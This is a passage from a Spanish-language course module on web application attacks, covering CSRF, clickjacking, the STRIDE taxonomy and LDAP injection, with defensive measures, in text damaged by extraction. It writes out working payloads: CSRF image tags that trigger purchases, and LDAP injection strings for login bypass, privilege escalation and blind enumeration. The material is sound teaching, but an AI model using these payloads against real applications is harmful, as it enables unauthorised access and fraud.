misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
